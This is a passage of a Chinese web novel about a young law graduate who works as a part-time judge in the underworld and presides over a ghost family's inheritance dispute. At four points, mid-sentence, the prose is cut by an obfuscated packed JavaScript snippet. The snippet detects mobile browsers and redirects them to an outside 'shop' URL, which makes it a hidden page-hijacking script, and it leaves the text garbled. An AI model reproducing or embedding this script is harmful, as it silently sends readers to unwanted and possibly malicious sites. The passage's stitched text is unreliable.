刘松巧拍手:“哦对,我写的其中一条就是,向老师,能不能电子化办公?抄本子上多累啊,我看办公室给的文件都是打印的,最开始还会给我发邮件。如果没经费,我给您烧一套?” “多谢,我用不太惯。” “而且本子上写得密密麻麻的,看久了多伤眼睛。” “放心,鬼不会得近视眼。如果您看不清,我可以写大点。” 刘松巧不知道梦里脸会不会红,感觉自己像个无理客户刁难可怜中介,给人增加工作量。 “啊,没事,我给自己烧个放大镜吧。不过活人好像不能烧给自己,向老师能代收吗?” “兼职员工都开了临时账户,烧的时候默念职务和姓名就行。” “嗯嗯,那今晚去哪儿?” 向明今打了个响指,变回长发黑袍模样。 刘松巧小声嘀咕:“还是这样对味儿。” 向明今:“嗯?” “没什么,你说今晚两边还会那么闹腾吗?” “不知道。请往这边走。” 没有传送,步行十分钟到一个宽敞明亮的房间内,两张长桌相对摆放,一张大桌子横在前方中间,像个简易法庭。 刘松巧激动跑向中间的桌子:“建议写早了,我就说还得有这么个形式才方便嘛。” “外面办公条件有限,您多担待。” “没事没事,有你在那儿站着还是很管用的,威严不足是我的问题。” 两人一阵客套,开庭事宜不知不觉就准备齐全了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275517|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 向明今一手捧一个盒子:“惊堂木和法槌,您要哪一个?” 刘松巧看得眼睛都直了,东摸一下西摸一下:“我能都要吗?” “这……” “还有电影里的虎头铡,不用铡人,光摆在那儿多帅,我看谁不老实交代。” “这个真不能有。不过您放心,真言咒加持下,当事人都不能说谎。” “万一嘴硬不说呢?” “也不能刑讯逼供吧。现在罚恶司审鬼都不用刑了。” “好吧,是我封建了。” 刘松巧接过本子浏览案件简况,酆都城外东边某鬼诉城内西南某鬼霸占其父遗产,请求分得遗产并剥夺对方继承权。 光看“霸占”二字,仿佛被告偷抢其父遗产,再看“剥夺继承权”,被告应当也是亲属之一,继承权与原告属于同一顺位。 “向老师,原、被告和被继承人都是什么关系,这能说吗?” 向明今凝思片刻:“被告是被继承人,嗯,被继承鬼的独子,原告好像是被继承鬼第……第几个,好像是第四个?第四任妻子。” “你说多少?这魅力这么大。” “这个我就不清楚了。” “还有,鬼怎么也会有继承,是魂飞魄散了吗?” “一般都是投胎去了,罪大恶极者受刑后打散摇匀再投胎,也有的时间太久,自然消散了。” “案子里这位?” “不清楚,原告没说。” 刘松巧借了张草稿纸勾画,不明之处太多,待会儿需得一一发问。 时辰已到,原被告列席。 原告年轻力壮,但脸色发灰,微带粉红;被告是位老年妇女,烫了时髦卷发,看上去精神不错。 双方见面不吵,互相转过去藐视对方。 “法庭纪律都明白了吗?” “大人,不明白。” “叫我审判员,纪律就是,不准喧哗,让发言再说话。” 刘松巧还是选择了法槌,当啷一声脆响,开庭! “原告,姓什名谁,你要起诉被告什么,事实和理由。” 原告腾地一下站起来:“审判员,我叫唐笑辉,今天我要告我父亲的最后一任妻子,就坐对面那位。”边说还边用手指着对面席上,刘松巧赶快制止。 原告说得义愤填膺:“她隐瞒我父亲投胎转世的消息,独占遗产,甚至还隐瞒、侵吞遗产,我请求判她归还遗产,并且基于她的后一个行为,剥夺她的继承权。” “别急,你坐你坐,说话不需要起立。”刘松巧脑子里有点糊涂,她只记得杀被继承人剥夺继承权,侵吞遗产也算吗?烧本民法典过来刻不容缓。 “被告,你的姓名,还有,针对原告的诉求,有什么要答辩的?” 被告坐得端正:“审判员,我是贺逢雪,他说的那些,我都不认,那都不是事实。” “有真言咒是不能说假话的,你说原告说的都不对,但他没撒谎。” 贺逢雪微笑:“我也没撒谎,我继承他父亲的财产很合理,我有证据。” “还有,审判员,我能说别的吗?” “和案子有关就行。” “好,那我要诉唐笑辉殴打亲父,应当剥夺他的继承权!” 5. 这场面我真没见过 刘松巧努力控制表情不至于变成吃瓜现场,眼神在原被告间来回瞟,最后落在向明今身上。 “向老师,能当庭受理反诉吗,这个,程序合法吗?” 向老师习以为常,云淡风轻:“您随意,最后有结果就行。” “好,我同意受理被告反诉请求。说说你的事实和理由。” 本诉原告冷哼一声转过身去。被告,这下是反诉原告了,脸上保持优雅得体微笑,还向刘松巧点头示意。 “故事,也就是事实,说来话长,我就简单说一点,唐笑辉打他父亲,也就是我老伴唐秋生的事,在阴司也是有记录存档的。可怜我老伴操劳数年,不希望自己辛苦攒下的钱财落在这个不孝子手里,他说过,所有东西都留给我。” “原来如此,反诉被告,对,喊你呢,打人这事,属实吗?” 唐笑辉不情不愿地扭过身来,碎嘴骂骂咧咧。 刘松巧敲击法槌:“警告一次,有事说事,好好说话。” 从原告变被告已经够郁闷了,还被警告,脸色实在好不起来。唐笑辉脸色由阴转雨酝酿了快一分钟,终于张开嘴闷哼一句:“我是打了,那又怎么样?” 场面隐隐有失控的迹象,一方沉着冷静,精准攻击痛点;另一方消极对待,很容易变成单方陈述。 刘松巧记录下双方问题要点,抬头问贺逢雪:“你知道他打人的原因吗?” “听老头子说,那孩子想要杀他,下的死手哟,照着脑袋砸瓷实了,害得他在医院躺了好久。” “医院?那是什么时候的事?这儿看上去不像有医院啊。” “哦,那是他还活着的时候。听说还判了刑的。” 事情越说越复杂,扯上生前的事。地府之事尚且可以随意调证据,人间之事她去哪儿查?怕不是要被当精神病关起来。 恐怕只能从当事人这里突破,好在每一句话都是真话。 “本诉原告,我问你一件事,你做这件事的动机是什么?” 唐笑辉仍旧臭着个脸,言辞挑衅:“你要不把我抓起来。” 向明今上前一步,刘松巧赶紧拦住他。 她深吸一口气:“这不是吵架的地方,也不是让你赌气的时候。大家坐在这里是要还原真相,如果你还不配合,那就撤诉,别浪费大家的时间。” 感觉话说太硬,刘松巧又补道:“想想你来这儿的目的,耍脾气不如冷静下来摆事实讲道理。” 唐笑辉撇撇嘴,犹豫半天说了声好。 “我强调一下,让你回答,是因为你是事件当事人,一手证据总归比二手的证明力更强。当时发生了什么你还记得清吗,能不能完整供述?” “能。” “好,那我问一句你答一句,这事是什么时候发生的?” “我们都还活着的时候,大概几十年前。” “具体点,当时你们多少岁?” “我二十七,老头子五十一。” “当时你为什么打他?” 眼看唐笑辉脸色又要变化,刘松巧赶快加一句:“我知道你是讲道理的,不会无缘无故打人,何况是亲生父亲,想必事出有因。” 唐笑辉舔了舔嘴唇:“他欺负我妈。” “具体是怎么回事?如果不方便说就算了。” “家丑不可外扬,但他,呵,都睡到别人家里去了。” 唐笑辉满眼怒火,直视对面。 刘松巧八卦地看向贺逢雪:“哦,那是……” “不是她。” 刘松巧有冲动把法槌砸出去。不是你看什么看! “那又是谁,哦不,这不重要。于是你一气之下打了他?” “也没那么简单。那天我妈追到别人家门,他就舒舒服服地在那儿睡午觉。好不容易叫开门,不回家就算了,还两个人联手欺负我妈,我妈哭着给我打电话,我一怒之下冲到现场和他理论。” 刘松巧听得一愣一愣的,这庭快开成家庭伦理剧现场了。 “他说他是老子,我管不着他,于是我一冲动,正好楼道里有别人扔的花盆,顺手就朝他身上砸了过去。” 刘松巧心想,于他妈而言,这真是个大孝子。 “当时砸得他满头鲜血,我妈还拉着他去医院,照顾了他几个月。” 刘松巧觉得此处应有瓜子。 “那你又怎么坐牢的?” “他老实了一段时间,后面又吵着要离婚,我威胁他离婚可以,净身出户,结果他跑派出所去报案,要我去坐牢。” “后来我判了缓刑,又赔了他些钱。不过到底没离婚,他体检查出来癌症,又要我妈照顾他。” 刘松巧想拍桌,怒其不争。 “事情差不多就是这样。” “那这事和遗产继承之间没什么关系,父子关系还在,不至于就剥夺继承权。” “您说得太对了,还得是审判员公正。” 刘松巧起了层鸡皮疙瘩。 这边定了心来了精神,那边开始坐不住了。 贺逢雪一改摆拍式微笑,眉头紧锁,双手拿起又放下。 “反诉原告,你是不是有话说?” 刘松巧看出来了,刚才这位虽说的都是实话,但句句不说全,相当不老实。移花接木、春秋笔法运用得炉火纯青,还会靠动作神情给自己挣表现。现在这般坐立不安,又在谋划着什么。 贺逢雪摆出一副质疑的表情:“审判员,我只是不明白,什么叫父子关系还在,还不能剥夺他的继承权。” 听上去更像是反问,刘松巧装作不懂言外之意,开始打官腔。 “我解释一下,法律上他俩没有解除父子关系,殴打一事也与继承遗产无关,本诉原告没有为了继承遗产而伤害父亲,不能因此剥夺继承权。明白了吗?” “哦,我明白了。”贺逢雪开始变得阴阳怪气,“也就是说,法律规定即使儿子把父亲打成重伤,还是要把父亲死后的财产给他,是吧?” 刘松巧没有立刻回答,只是盯着她。 一人一鬼对视,都毫不退让。实际刘松巧心里有点发怵,表面强撑气势。这场面她见过,但从未独当一面,都是躲在承办人身后看着。现在三分底气来自记不太清的民法典,三分来自身后的向老师,剩下四分,是真没底气。 半分钟后,刘松巧故作轻松问:“这就是你的理解?” 贺逢雪挑眉:“按您刚才说的话,不是这个意思吗?” 刘松巧假装发笑:“您遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275518|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守我国的现行法律吗?” “当然,我可是遵纪守法的良民。” “那我再好好解释一遍。剥夺继承权的条件完全由法律规定,需要严格遵守。你说的情况,对应规定是这么说的,故意杀害被继承人,丧失继承权。” 贺逢雪并没有服气:“砸脑袋,还不是想杀?” “好,那又涉及到刑法了,时间有限三阶层四要件就不展开了,刑法要求主客观相统一,用大白话解释,如果要定一个人的罪,不仅要看他做了什么、后果如何,还要看他心里怎么想的,比如这个故意杀人,心里不是想杀人,那都不能定这个罪。” “本诉原告,你当时被定了什么罪?” 唐笑辉终于能说上一句话,昂首道:“故意伤害。” 刘松巧悄悄汗颜,这大孝子好像还有点骄傲? 贺逢雪冷笑:“说得好像有什么不一样。” “如果一样,法律何必把它们分成两个罪名?如果故意伤害被继承人也应该剥夺继承权,法律为何不那样表述?” “对对对,法律就是这么规定的。平常认知根本不重要。” 刘松巧感觉内心有些慌张,随即稳住心神:“既然要遵守法律,当然是法律怎么规定就怎么来。既然要享受法律规定的权利,那就要行使法律规定的义务。” “义务是吧。”贺逢雪狡黠一笑,好像抓住了什么。 刘松巧内心大叫不妙,这鬼又有了什么鬼主意。 “享有继承权,那就得履行相应的义务。”贺逢雪顿了顿,眼神撇向正中间,“不履行赡养父亲的义务,是不是就不该享有继承权?” 刘松巧松了口气,她又不是来吵嘴的,控制庭审不过是维护秩序的手段。只要说得合理,和她本人又有什么关系? 于是她轻松地点点头。 贺逢雪反而变了脸色,欲哭无泪:“我那可怜的老伴,最后几天魂散了不少,行动不便,全靠我前前后后地照顾。”音调里隐约带着哭腔。 刘松巧鸡皮疙瘩比上一次还冒得厉害,这演技是不是太浮夸了? 还没等她发话,贺逢雪指着唐笑辉:“你说,你有照顾你父亲吗?你都没来看过他一眼!你都多少年没见过他了,还数得清吗?”说完双手掩面做啼哭状。 刘松巧轻咳两声:“反诉原告,注意法庭纪律。你说的我都记下了,赡养义务承担确实和继承份额挂钩,但不至于全给全不给,还是多少要分一点。” 贺逢雪止住哭声,放下双手。刘松巧再一次好奇,鬼哭的时候会有眼泪吗? “那我要是不想给呢?” “你想不想的不算数。” 贺逢雪往后靠在椅背上,眼睛微眯。 “本来我不想说的,唉。审判员,你这是逼得我没办法。” “好好说话,这里没有谁逼谁。” “您让我说的,那我可就说了?” 刘松巧没好气地说道:“没人拦你。” “审判员,我听我老伴说……” “说你知道的,不要再转述了。” “好,唐笑辉。”贺逢雪站了起来,指着对面。唐笑辉连着被人用手指,快按压不住怒火。 “他不是唐秋生的儿子!” 6. 不敲退堂鼓 现场鸦雀无声,刘松巧张圆了嘴,彻底控制不住表情。唐笑辉瞪大双眼,怒气无影无踪。贺逢雪端回职业假笑,眼神略带轻蔑。 刘松巧低头看草稿,在唐笑辉和唐秋生的连线上画了个问号。她偷瞄一眼背后的向老师,依旧是冷若冰霜一张脸,见惯不惊。 刘松巧假装平静地翻动空白草稿纸:“咳,这个问题我们……” “啊啊啊!” 唐笑辉抱头发出尖锐爆鸣声,声贝不亚于白事乐队live。 “你冷静点!” 唐笑辉充耳不闻,仍旧大声狂叫,让人领教到货真价实的鬼哭。同时他身上飘出一层黑雾,看着就不像什么好兆头。 “别冲动!”刘松巧刷地站起来,伸出手准备做点什么,眼前一花,黑影闪过直扑唐笑辉身后,下一秒后者跪倒在地,失去意识。黑雾随之消散。 刘松巧腿一软差点溜到地板上,双手撑桌勉强保持不倒。 余光瞥见台下贺逢雪纹丝未动,眼角眉梢甚至透出一丝……得意? 贺逢雪似乎察觉到她的目光,立马右手扶额挡住半边脸,三秒后从容起身,脸上已然换作担忧神情,故作惊慌地望向刘松巧:“审判员,这孩子怎么就这么冲动呢,一时想不开煞气外泄,他一定不是故意的,您可千万别怪罪。” 刘松巧内心从恐惧到震惊,最后泛起一阵恶心。面上还得稳住,礼貌叫她坐下,她还客套微笑点头。 对比起来,之前那两老人家真是单纯得可爱。 “今天的庭审到此结束,现在宣布休庭。”刘松巧恨恨地敲下法槌。 交接完唐笑辉,向明今领刘松巧到一间空办公室内,贴心地关上门。 “今天你已经尽力了。”向老师安慰起搞砸工作的新手,还真有些师范之风。 刘松巧呆呆望着桌面,也不说话。 “是我没安排好,没想到这案子如此复杂,是有些不匹配。后面我再请资深审判员来处理,你好好休息一阵子。你也别灰心,上次处理挺好的,听说你事后还去看望当事人,他俩挺感激的。” 刘松巧闻言生气地转过头:“谁说我灰心了!” 看见向老师脸色前所未有的温柔,又后悔地抿住嘴唇。 “我不是耍脾气,我明白,我缺乏经验,年纪又轻气势不足,坐在台上被看不起,被牵着鼻子走。”刘松巧声音越来越低,最后趴在桌子上, “我是想说,我不会因为这个就灰心。谢谢你的关心。” “那就好。这案子你不用跟了,我再帮你申请点精神损失补偿。” 刘松巧直起腰来,眼神坚定:“不,逃避只能躲一时清静,坎儿永远都是坎儿。” “你说的资深审判员,应该很厉害吧?” “每个生前都有几十年从业经验,应付这个应该没问题。” “那我能跟着他们学吗?”刘松巧凑近向老师身边,双手合十,眨巴着眼祈求给个机会。 “嗯……这个没先例,我考虑考虑,请示一下。” “不用给我报酬,我倒贴也行!” 向老师噗嗤一笑:“不是钱的事。我知道你的决心了,会帮你争取的。” 刘松巧头一次看见他笑,可惜笑意昙花一现。 “向老师,我才发现你五官很端正啊,笑起来多顺眼。” 向明今脸色瞬间凝固:“你这话什么意思?” “抱歉抱歉,忘了你是古人,保守些。”刘松巧赶紧赔笑道,“向老师,您平常看起来是威严十足,嫌犯看一眼您这神情就不敢造次,您再微微看他一眼,嘿,他就能全招了。不过话又说回来,我们是同事,又不是犯人,您可以多笑笑,工作氛围多和谐,效率不就上去了。” 向老师幽幽答道:“你上班爱笑吗?” 刘松巧挤眉弄眼一顿调理:“我要有班上就不在这儿了。” 一人一鬼相对无言,扭头各望一边。 刘松巧痛定思痛,工作失败了,同事关系再失败就一败涂地了,不行,必须挽回来。 “向老师,刚才你说,我去看了那两个当事人?” “嗯。”向老师似乎还没调理好,答得心不在焉。 “他们怎么知道的,我就远远地看了一眼,也没上香祭拜。” 向老师摸出茶具,推一杯给刘松巧,自己抱一杯在掌心摩挲。 “陈红木事后醒悟自己做事不厚道,赶紧托梦告诉后人。那天他女儿一家来上坟,他飘天上享受天伦之乐,一瞟正好看到你……” “差点摔个狗吃屎。” 向明今刚将杯子送到嘴边小啜一口,呛了一嗓子:“咳咳咳,嗯,对。” “其实我本意不是去看他们,是……”刘松巧心虚,怀疑的心思怎能和当事人说。 “君子论迹不论心,你去了那儿是真的,他们之间的矛盾得以化解也是真的,这就够了。至于其他,就算是坏心思,也坏不到哪儿去。” 刘松巧浅抿一口茶水,地府虽冷,热饮确是暖的。 刘松巧还想着约好下次开庭的时间,哪怕吞两片安眠药也要赴约。向老师解释道唐笑辉尚不稳定,急不得。 刘松巧睡得安稳,日悬头顶还在梦里咂嘴。 “小巧,小巧?怎么还睡呢。” 刘松巧被一阵嘤嘤犬吠吵醒,找了半天,低头一看,床边多了只脑袋圆圆身子更圆的小黑狗,还在吃奶的年纪。 她赶紧穿衣起床,不顾奶狗意愿抱在怀里。小家伙嘤嘤乱叫,更可爱了。 “爷爷,爷爷,你要养狗啦?” “我什么时候要养狗了?”爷爷伸出手指逗弄牙都没长全的小狗崽,狗崽乱甩嘴筒子一开一合奈何鞭长莫及。 “给我养?” “想得挺美,人家妈还不一定答应呢。” 邻居家大黄狗摇着尾巴围着在脚边转圈,脖子伸得老长,满眼都是怀中小狗。 “找人家借的?” “当然,黑狗辟邪,我特地给它妈塞了两块牛肉才换过来。千万抱稳了。” “爷爷,我觉得好多了,您看看?” 两人在院中挨着坐下,老人迎着阳光眯眼细瞧,眉眼渐弯。 “好好好,再吃两碗糯米饭巩固巩固,免得你爸说我没带好孩子。” 刘松巧赶紧笑道:“哪可能呢,爷爷最好了。对了爷爷,糯米饭能加腊肉吗,再拌上您做的辣椒酱,那叫一个香。说起来我还真有点饿了。” “一觉睡到十二点,你不饿谁饿?” 两人说说笑笑,刘松巧心里的石头总算落得个踏实。 住了几天,刘松巧心里挂记着那件事要赶回城里,捎上一只大公鸡两只土鸭三斤新鲜茼蒿,腰都快弯了爷爷才不舍地停手。 “我教你的记牢了,千万小心啊!” 刘松巧一步三回头,直到爷爷的身影化成一个小点。 回家后刘松巧上网采购一堆文具外加几本法条。烧电子产品过于奢侈,还好纸扎的也一样。 刘松巧开始专心复习民法,没日没夜反复看庭审视频, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275519|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺藤摸瓜到各大公众号学习法官心得。 爸妈相拥而泣,孩子终于开窍了,学得多认真啊。 买东西不难,却没地方烧。家里就这么点大,燃气灶火力一般,到时候一地灰烬不好处理,还怕熏到松糕。 外面随便烧又有消防隐患,撞见熟人的隐患不小,到时候问她给谁烧的,总不能说自己吧? 最后打车到公墓借了个桶烧,管理人员打趣道,什么逝者要书,还是民法典? “逝者”本人报以尴尬笑脸:“学法的,是这样。” 当天夜里刘松巧就收到寄存在供养阁的大包裹,吭哧吭哧搬到办公室,众鬼纷纷前来围观。 程姐歪头:“你要搬家?这可不兴搬呐。” “一点办公用品,自己准备方便些。”刘松巧勾着腰分类整理,借了个柜子码好。 “这本子好精致,下次你能帮我带一本吗?”甚少说话的小云姑娘也凑了过来,刘松巧给她比了个ok。 “那个……”向明今欲言又止,刘松巧抬头对上他的目光。 “向老师,有何指教?” “不知当讲不当讲。” “您还请快讲。” “其实,办公用品都可以填申报表领的。”向老师犹犹豫豫说出后半句,“不用你自己买。” 刘松巧一瞬间想起空空荡荡的余额,感觉天都要塌了,哭丧个脸问:“你怎么不早说?” “你也没问啊,没想到你这么积极,也有点出乎我们意料。” 那句话怎么说的来着,哪有驴给自己配磨盘的? 刘松巧后悔了,大大的后悔。东西已经烧了,不可能再寄回去,更不可能退款。她的钱! “先别急,这些能开发票吗?”当属程姐最为冷静,打开电脑查看报销账目。 “这个月还有额度,我们贴一些,怎么样?” 刘松巧眼含热泪地点头。 “等等,报销的是什么?” “冥币。” 这下她真要哭了,她要冥币有什么用! 小云在电脑前鼓捣半天,弱弱地问:“兼职这块好像有文件,报销可以给人间货币,不知道符不符合条件?” 刘松巧不哭了,跑过去仔细看文件规定。这项报销只面向无编的兼职人员,为奖励阳间众人的工作积极性,特地拨出一部分预算报销办公用途的开支。 程姐麻利地点开表单,噼里啪啦录入信息,一阵令人眼花缭乱操作后提交审签。 如果不是抱不得,刘松巧要抱着程姐大哭。 “程姐,你最靠谱了呜呜。” “预算有限,你不搞快点,审签走完都没钱了。”程姐伸手拨开刘海,一双眼眸在刘松巧眼里熠熠闪光。 “好了,你继续收拾,我上工去了。”向明今刚要踏出门外,刘松巧叫住他。 “向老师,唐笑辉怎么样了?” 向明今一愣,没想到她这么积极,转身翻开本子。 “唐笑辉情况趋于稳定,再养三天应当无碍。” “好,记得通知我,我一定来。” 向明今眉头紧锁:“但三天后不见得就能正常开庭,有些情况。” “贺逢雪出事了?” “这倒没有。你小点声,不知情的还以为你盼着人家出事呢。” “那,出了什么岔子?” 向明今合上手中本子,脸黑了下来。平常他脸色阴沉不怒自威,现下倒像失意之人。 “资深审判员,恐怕来不了了。” 7. 求也得排队 “为什么?”刘松巧十分失落,为此她准备了几天几夜,踌躇满志想蹭蹭专家经验,没成想专家放鸽子。 “他不情愿,具体而言,说来话长,等我有空再说吧。你先回去休息。” 向明今没给她留张嘴的时间,转身就走,只留下传送的虚影。 “小松,回去补个发票,抬头写你就行。”程姐目不转睛对着屏幕,双手在键盘上飞舞。 “好嘞,程姐。那个,能别叫我小松吗,我家还有个松字辈的。”但是只猫。 “好好好,小松鼠。” 刘松巧把脑袋凑过去:“程姐,求你个事呗。” 程姐抬手挡住松鼠再往前凑:“远点,别又蹭上了。有事快讲。” “向老师说的那个审判员,能让我见见吗?” “你找他做什么?那家伙又臭又硬,让向书生去和他慢慢磨。” “也不是什么大事,纯粹好奇,想见识见识大佬。” 程姐递过通讯录:“第二页第四个。” 刘松巧头一次独自在酆都城街头漫步,想起网上说了解一个城市就要来段citywalk,不自觉地东张张西望望。 上次空中鸟瞰只有个大概印象,这次近距离走马观花。街道两边房屋都不高,尤其木质建筑以平房为主。朝向大街的一边开满商铺,恍惚间差点错认为新时代商业古镇。商品摆放整齐,灯光明亮,唯一区别是老板们懒得吆喝,没有喇叭争鸣。 不时有鬼擦肩而过,多半对她视若无睹,有一两个瞥见她胸口黑金徽章,特意拉开距离,却边走边回头,视线牢牢粘在她身上。 目的地在一条巷子里,刘松巧惴惴不安,担心地处偏僻不安全。 鼓起勇气拐进巷口,抬眼一瞧,好家伙,两边净是热火朝天的小吃摊。 左边一个烧烤摊激情洋溢地边跳边烤一大把肉串,右边一个铁板烧鱿鱼烤得滋啦滋啦响,洋葱味不由分说抢在肉香之前扑进鼻腔。 越往里,摊子越密集。辣卤摊上摆一个大铁盘,鸭货兔头之类的卤菜光泽稳润,半浸在辣油里,老板还不断舀起辣油浇个匀净;冒菜摊林林总总排开二三十样荤素,支着一口大锅咕嘟咕嘟;隔壁铁锅抡得飞起,铲子撞击丁零当啷,香味却被前两个遮得严严实实,凑近一瞧,大米粒粒晶润,火腿粉嫩带着微微焦色,鸡蛋煎得金黄,葱花水嫩新鲜,好一锅热气腾腾蛋炒饭。 难怪程姐别的都没说,就叮嘱她一句“别乱吃”。一街热闹美食摆在眼前,很难管住自己那张嘴。 刘松巧咽了咽不存在的口水,味蕾快要跳起来。用尽全力默念天将降大任于斯人也,必先饿其体肤,天将降大任,先饿其体肤,大任,饿,饿,饿…… 摊前排队都不算短,巷子也不宽,刘松巧被迫侧身前进,束手束脚避开鬼群。偏偏有鬼宽袍大袖,恰巧她重心不稳,一个趔趄擦了个边。 刘松巧顿感凉气蔓延,赶快捂住徽章不敢松手,一路保持这个奇怪姿势前进。 前方不知是卖什么的,队伍里三层外三层围了个水泄不通,连个缝隙都没留。 刘松巧一筹莫展,犹豫要不要拼了这条命冲过去。蹭几个鬼的阴气得烧几天,会不会高烧烧成个傻子? “好好排队,不要挤,拐过来把路让出来,你们还要不要别人过路了?”熟悉的刺耳喇叭声如同天籁,在鬼群中溅起波澜。 一个鬼开始腾位置,其他的跟着挪地方,队伍由胖变得瘦长。还有年轻鬼嬉笑:“都是鬼了,还人呢!” “你不是人,是猪?” 鬼群迸发出阵阵笑声,还好那鬼也不恼,嘴角扯得老长。 队伍变薄,刘松巧终于看到站在高处的大爷,白色汗衫毛巾挂脖,单手叉腰举个大喇叭。大爷俯瞰众生,气势如虹,又一个精神甩年轻人八条街的老年人。 精神老年人刘松巧趁机往前溜,没跑几步,背后传来一声吼:“着急忙慌地跑什么,年轻人小心点走路。” “是是是。”刘松巧转身鞠躬示意,抬头正对上大爷。 大爷眼神从她脸上扫到脚下,最后停留在左胸的徽章上。 “来这儿干什么,走走走,这可不是你来的地方。”大爷激动上手扯她衣服,刘松巧下意识躲开,险些碰上。 大爷皱眉:“害,跟我来吧。” 一人一鬼绕到背后院子墙角,大爷甩开毛巾擦擦手臂。 “多谢大爷。” “别客气,你是来公干还是私事?这条街热闹归热闹,但你看上去也不像道行高深的,一头扎进来真不怕死啊。”大爷又把毛巾挂回去,脸色竟是少见的红润。 “都有一点吧,我来找个人,听说他住这附近。” “人?这儿可没人,都是鬼。” “您不刚说了,不是人,难道是猪吗?” 一老一小哈哈大笑,气氛融洽起来。 “行,你要找谁,这一带我熟得很,街坊邻居都卖我周叔一个面子,要是有什么事我还能帮你说上两句。” “那先谢过周叔,周……”刘松巧一愣,她找的人就姓周。 “请问,您是周聚成周法官?” 周叔上扬的嘴角跌到谷底:“找我干什么,又是判官司的事儿?老子说了不去!” “不是,您先听我说说。” 刘松巧还没说出口,周叔已经大步流星迈出两米远。刘松巧一个猛子扑过去抱紧周叔,冻得皮肉生疼,还是强忍着贴上去。 “小年轻你不要命啊!松开!” “您听我说我就松!” “你先松,身体不要了喂!” 刘松巧微松双手,见周叔不再有离开的趋势,缓缓放开。 “嘿,不要命的,你要说什么事儿,我还真摊上了。”周叔又拿毛巾擦胳膊,看样子是洁癖。 身体终于反应过来,刘松巧冷得哆嗦,蹲在地上捂着胸微微喘气:“周叔,也没什么大事,就是想请教请教您。” “蹲那儿没用,走,到我家去。” 刘松巧一手捂徽章,一手抱住滚烫玻璃杯贴近手臂,半天方才缓过神来。 “够礼貌,不过不用右手放胸口表真心。” 刘松巧尴尬笑笑,不敢放手。 “来,给你十分钟,说完该回哪儿回哪儿去。”周叔给自己倒上一杯,一仰而尽。 “向鬼使来给您说过,就是个案子,我……” “我说了啊,我不去。” “您别急,我是经手这个案子的审判员,刘松巧。听说您是老法官,办案无数,我一个刚毕业的本科生,想挑大梁奈何肩膀滑,特地来请教一二,顺便拜会前辈,想见识见识大佬都是什么样的。” 周叔一杯接一杯地灌水,甚至打起蒲扇。人挨鬼冷入骨髓,相互作用,鬼是不是热火烧心? “客气话也算时间哦。” 刘松巧没想到周叔不接茬,还好她这几天把案子复盘了好几遍:“这案子法律关系简单,家庭关系复杂,最棘手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275520|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是被告,庭审节奏全被她带走了,一会儿爆一下,原告都被她差点气死。” 周叔优哉游哉斜倚着摇扇“放心,气不死。” “那也不能让她为所欲为吧,虽然我确实拿她没办法。” “你想和她斗啊,难咯。”周叔摇头大笑,看上去不像幸灾乐祸。 “所以才请您指条路。” 周叔放下蒲扇,一脸严肃地问:“认真的?” “我从头到尾都是认真的。” “好,那你先把案子相关人员、财产的资料全给我找来,没收集齐别来找我。向小哥敬业是敬业,但他没学过现代法律,你别指望他收集证据。” “好,还有呢?” “还有,半夜三点了快滚回去睡觉!” 刘松巧醒来遍体生寒,张嘴一个喷嚏。 还是不能冲动。 醒后没法干活,看书时心神不定,满脑子都是怎么收集消息。 搜索栏一弹开全是“开庭碰到难缠当事人怎么办”“被告质疑法官公正性怎么回应”“怎样掌握庭审节奏”,答案不尽如人意,更添心烦。 她第一次这么盼星星盼月亮。 刘松巧偷舀一大勺冰箱里的酸枣仁膏兑水,七点一过就钻被窝里静候周公。 不得不说药效还真不错。 “通宵改早睡,是不是也太早了?转性够彻底啊。”程姐难得有空,在平地做单手俯卧撑,揶揄两句都不带喘气的。 等等,她本来就不用喘气。 刘松巧一时手痒,趴地架好姿势,手上一放,立马和大地做亲密接触,一厘米都撑不起来。 “别拜了,行这大礼作甚。”程姐优雅起身,不疾不徐地端起茶杯递给刘松巧。 “向老师什么时候回来?”刘松巧总算体面地坐上了,赶快问正事。 “还早,有急事?” “嗯,需要查些资料,找不到门路。” 